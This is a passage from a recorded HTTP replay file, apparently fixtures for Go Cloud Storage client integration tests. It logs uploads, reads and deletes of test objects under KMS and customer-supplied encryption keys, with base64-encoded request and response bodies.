mVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnRocmVhZC5UaHJlYWRUcmFja2VycyRUaHJlYWRUcmFja2luZ1J1bm5hYmxlLnJ1bihUaHJlYWRUcmFja2Vycy5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6NDUzKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuc2VydmVyLkNvbW1vbk1vZHVsZSRDb250ZXh0Q2FycnlpbmdFeGVjdXRvclNlcnZpY2UkMS5ydW5JbkNvbnRleHQoQ29tbW9uTW9kdWxlLmphdmE6ODAyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlJDEucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ2MClcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihUcmFjZUNvbnRleHQuamF2YTozMTkpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6MzExKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NTcpXG5cdGF0IGNvbS5nb29nbGUuZ3NlLmludGVybmFsLkRpc3BhdGNoUXVldWVJbXBsJFdvcmtlclRocmVhZC5ydW4oRGlzcGF0Y2hRdWV1ZUltcGwuamF2YTo0MDMpXG4ifV0sImNvZGUiOjQxMiwibWVzc2FnZSI6IlByZWNvbmRpdGlvbiBGYWlsZWQifX0=" - } - }, - { - "ID": "814dffcceacb3bd8", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026kmsKeyName=projects%2Fdeklerk-sandbox%2Flocations%2Fglobal%2FkeyRings%2Fgo-integration-test%2FcryptoKeys%2Fkey1\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJuYW1lIjoia21zIn0K", - "bXkgc2VjcmV0" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3234" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:17 GMT" - ], - "Etag": [ - "CMGB+Prx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Upis-8CwJYvr7glFAMnec_3T3YDojfTz3O_uICK5tQQmfJF2_rFtNnbqopcxBL5L3aKyoYe4zOLoqN4_MFFrhYKDm6Tmrl3rytuh0ymlCV15VZKyrQ" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9rbXMvMTU1NjgzNTk3Njc0MTA1NyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2ttcyIsIm5hbWUiOiJrbXMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk3Njc0MTA1NyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoxNi43NDBaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MTYuNzQwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE2Ljc0MFoiLCJzaXplIjoiOSIsIm1kNUhhc2giOiJBQVBRUzQ2VHJuTVlucWlLQWJhZ3RRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28va21zP2dlbmVyYXRpb249MTU1NjgzNTk3Njc0MTA1NyZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9rbXMvMTU1NjgzNTk3Njc0MTA1Ny9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9rbXMvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImttcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTc2NzQxMDU3IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNNR0IrUHJ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9rbXMvMTU1NjgzNTk3Njc0MTA1Ny9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28va21zL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoia21zIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NzY3NDEwNTciLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTUdCK1ByeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEva21zLzE1NTY4MzU5NzY3NDEwNTcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2ttcy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImttcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTc2NzQxMDU3IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNNR0IrUHJ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9rbXMvMTU1NjgzNTk3Njc0MTA1Ny91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28va21zL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoia21zIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NzY3NDEwNTciLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTUdCK1ByeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IlVJNzg1QT09IiwiZXRhZyI6IkNNR0IrUHJ4L2VFQ0VBRT0iLCJrbXNLZXlOYW1lIjoicHJvamVjdHMvZGVrbGVyay1zYW5kYm94L2xvY2F0aW9ucy9nbG9iYWwva2V5UmluZ3MvZ28taW50ZWdyYXRpb24tdGVzdC9jcnlwdG9LZXlzL2tleTEvY3J5cHRvS2V5VmVyc2lvbnMvMSJ9" - } - }, - { - "ID": "9b05110f2b59351b", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/kms", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "9" - ], - "Content-Type": [ - "text/plain; charset=utf-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:17 GMT" - ], - "Etag": [ - "\"-CMGB+Prx/eECEAE=\"" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:26:16 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Encryption-Kms-Key-Name": [ - "projects/deklerk-sandbox/locations/global/keyRings/go-integration-test/cryptoKeys/key1/cryptoKeyVersions/1" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:26:16 GMT" - ], - "X-Goog-Generation": [ - "1556835976741057" - ], - "X-Goog-Hash": [ - "crc32c=UI785A==", - "md5=AAPQS46TrnMYnqiKAbagtQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "9" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpZ6aSiGPoeZKANPoMPgXhL1QD5nbILvzv8v3sOMId95Y65wOPssqesNA1MXzp86JA4Qa5gAMxxx5cnY4z3-tCUnvsKoIHn3NXOK2U6ZSRLzYNeQeU" - ] - }, - "Body": "bXkgc2VjcmV0" - } - }, - { - "ID": "011b81453e7060ac", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/kms?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3234" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:17 GMT" - ], - "Etag": [ - "CMGB+Prx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq5t8aexqBqqxnLJFK9mWmGdVrFfd3gaCGOKfGJMO1phB3ATnxt67-cLVpELRy1gNnjNOK7-zMzWCR6yV1v5PQcv3lccINA--Q92RoECpvBON-QKtc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9rbXMvMTU1NjgzNTk3Njc0MTA1NyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2ttcyIsIm5hbWUiOiJrbXMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk3Njc0MTA1NyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoxNi43NDBaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MTYuNzQwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE2Ljc0MFoiLCJzaXplIjoiOSIsIm1kNUhhc2giOiJBQVBRUzQ2VHJuTVlucWlLQWJhZ3RRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28va21zP2dlbmVyYXRpb249MTU1NjgzNTk3Njc0MTA1NyZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9rbXMvMTU1NjgzNTk3Njc0MTA1Ny9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9rbXMvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImttcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTc2NzQxMDU3IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNNR0IrUHJ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9rbXMvMTU1NjgzNTk3Njc0MTA1Ny9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28va21zL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoia21zIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NzY3NDEwNTciLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTUdCK1ByeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEva21zLzE1NTY4MzU5NzY3NDEwNTcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2ttcy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImttcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTc2NzQxMDU3IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNNR0IrUHJ4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9rbXMvMTU1NjgzNTk3Njc0MTA1Ny91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28va21zL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoia21zIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NzY3NDEwNTciLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTUdCK1ByeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IlVJNzg1QT09IiwiZXRhZyI6IkNNR0IrUHJ4L2VFQ0VBRT0iLCJrbXNLZXlOYW1lIjoicHJvamVjdHMvZGVrbGVyay1zYW5kYm94L2xvY2F0aW9ucy9nbG9iYWwva2V5UmluZ3MvZ28taW50ZWdyYXRpb24tdGVzdC9jcnlwdG9LZXlzL2tleTEvY3J5cHRvS2V5VmVyc2lvbnMvMSJ9" - } - }, - { - "ID": "0dbd0a37c735be56", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/kms?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:17 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur_RD6un7NLXQpzwRBFEfZdp982qhfEzyvw8f_P1Lx1wKv8sUid99lQ7Nba5Rs73IJfv3qHXjQfUDHjWclvCAcS91nMboiexn-FwiMrUuKqCQ_d__4" - ] - }, - "Body": "" - } - }, - { - "ID": "1b81fc72e201f2a2", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Encryption-Key-Sha256": [ - "Io4lnOPU+EThO0X0nq7mNEXB1rWxZsBI4L37pBmyfDc=" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoiY3NlayJ9Cg==", - "bXkgc2VjcmV0" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3262" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:17 GMT" - ], - "Etag": [ - "CKCxsfvx/eECEAE=" - ], - "Expires": [ - "Mon, 01 